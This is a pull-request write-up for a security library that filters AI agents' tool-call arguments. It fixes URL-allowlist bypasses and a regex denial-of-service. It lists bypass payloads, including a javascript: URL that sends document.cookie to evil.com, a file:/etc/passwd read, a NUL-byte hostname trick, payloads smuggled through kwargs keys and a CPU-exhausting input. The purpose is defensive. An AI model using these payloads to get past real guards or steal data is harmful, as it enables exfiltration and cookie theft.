security: fix four allowlist bypasses and a ReDoS found by a full-library audit

[higagan]

Summary

A whole-library adversarial audit (14 lenses, 78 candidates, every survivor independently re-executed by a refuter whose job was to refute it) confirmed 18 findings. This PR fixes the five that were release-blocking. All are in pre-existing code on main and in the published PyPI package — none were introduced by #74.

The headline: URLAllowList, the flagship rule the README leads with, decides "is this a URL?" by substring — and fails open when it guesses wrong.

1. The "://" gate (high) — one root cause, three bypasses

looks_like_url = "://" in url is true only of the authority-bearing spelling. Everything else was classified "not a URL" and allowed straight through:

u = URLAllowList(allowed_domains=["api.internal.com"])
u("http:/evil.com/exfil")                  # was: None (allowed)
u("file:/etc/passwd")                      # was: None  — urlopen returns the file
u("data:text/html,<script>x</script>")     # was: None
u("javascript:location='//evil.com/?c='+document.cookie")  # was: None
u("//evil.com/x")                          # was: None
u("http:/api.internal.com@evil.com")       # was: None  — also slips the userinfo check

file:// was blocked, which is what made this invisible: the existing test used the authority-bearing spelling. The asymmetry proves it was a gap, not a stance.

Detection now keys on the parsed scheme, and the scheme allowlist is evaluated before an authority is required — an empty netloc used to return early, so the scheme check never ran for exactly these forms.

Getting the permissive direction right mattered as much as the strict one. The rule must still pass non-URLs, so _looks_like_url keeps "://" as a sufficient signal and only applies the stricter heuristic below it. Pinned by tests: hello world, a/b/c, note: the deploy failed, TODO:fixthis, key:value, ns:tag, and C:\Users\bob (a drive letter is one character — the scheme regex requires two) all still pass.

I also caught a regression in my own first attempt: disqualifying on whitespace outright turned http://evil.com/a b — blocked before this PR — into an allowed string. There's a test for that now.

2. Hostname was never validated (medium)

http://evil.com\x00.api.internal.com satisfies .endswith(".api.internal.com"), so it read as an allowlisted subdomain — while getaddrinfo, socket.create_connection and curl all truncate at the NUL and reach evil.com (verified). Now rejected, along with spaces and other illegal host characters.

Worth noting honestly: urllib, httpx and subprocess all reject NUL themselves, so end-to-end exfiltration needs a tool body built on raw sockets or curl. That's why the refuter downgraded it from critical. But depending on each client's incidental rejection contradicts the premise that this is the boundary.

3. bytes were never walked (high)

URLAllowList._check_recursive was the only walker in the library without a bytes branch — _iter_strings and _iter_commands both decode. Every check in the rule was off for that carrier. README.md and AGENTS.md both list bytes as walked.

4. **kwargs keys bypassed every policy (high)

_enforce iterated list(args) + list(kwargs.values()). For any tool declaring **params, the entire payload could travel in the key — and JSON permits arbitrary keys, so a model can emit one. The same dict passed as a value was blocked.

Declared parameter names are deliberately not checked. They're chosen by the tool author, not the model, and checking them would make the bundled SensitiveDataFilter block any tool that simply has a password parameter. Only names absorbed by **kwargs are inspected.

5. Quadratic ReDoS in the JWT pattern (high)

1 MB of "eyJ-" repeats  →  ~140 s CPU  →  and the call was ALLOWED

Nothing blocked, nothing logged — a silent, stateless, repeatable CPU sink with no audit trail. - is both a non-word character (so every -eyJ is a fresh \b anchor) and a member of the body class (so each anchor eats the tail). A lookbehind replaces the leading \b:

input	before	after
1 MB	~140,000 ms	45 ms

Real JWTs still match. Two smaller pattern fixes ride along: Google keys ending in - were undetectable in every context (a trailing \b cannot fire after a non-word char), and Slack covered only xox[abprs]-, missing xapp- and xoxe- (which mints fresh bot tokens).

Also: block reasons no longer quote the URL

f"URL contains userinfo trick: {url}" wrote live basic-auth passwords into the WARNING record and the exception text — and this fires on ordinary basic auth against the allowlisted host, no attacker needed. Control characters in a rejected URL could also forge log lines. Reasons now name the host or the scheme only, which is the invariant SecretPatternFilter and ShellCommandAllowList already held. The hostname is still named where it's safe, so the audit trail stays useful.

Test plan

• ruff check / ruff format --check / mypy --strict clean
• uv run pytest -q — 194 passed (39 new), no pre-existing test modified
• Every bypass above has a regression test, annotated with why it worked
• Explicit over-blocking guards: prose, paths, drive letters, scheme-shaped identifiers, and URLs containing whitespace
• ReDoS fix measured across seven doublings; real JWTs re-verified in prose, after Bearer , quoted, and in --token=<jwt>

Not in this PR

The audit's non-blocking findings — rule-ordering affecting category, the CLI's raw echo of endpoint-controlled text, INCONCLUSIVE when only the attacker endpoint failed, the smoke-test workflow's shell interpolation and it testing the previous release, typer as an unconditional runtime dep, and several doc corrections — are separate and I'll open issues rather than widen this one.

What held up under attack (worth stating, since it's where confidence is earned): no fail-open anywhere in the engine or walkers across 5,000 depth-sweep trials; the stdout/MCP guarantee (0 bytes on fd 1 in every configuration); SecretPatternFilter never quoting matched text; and ShellCommandAllowList default-deny.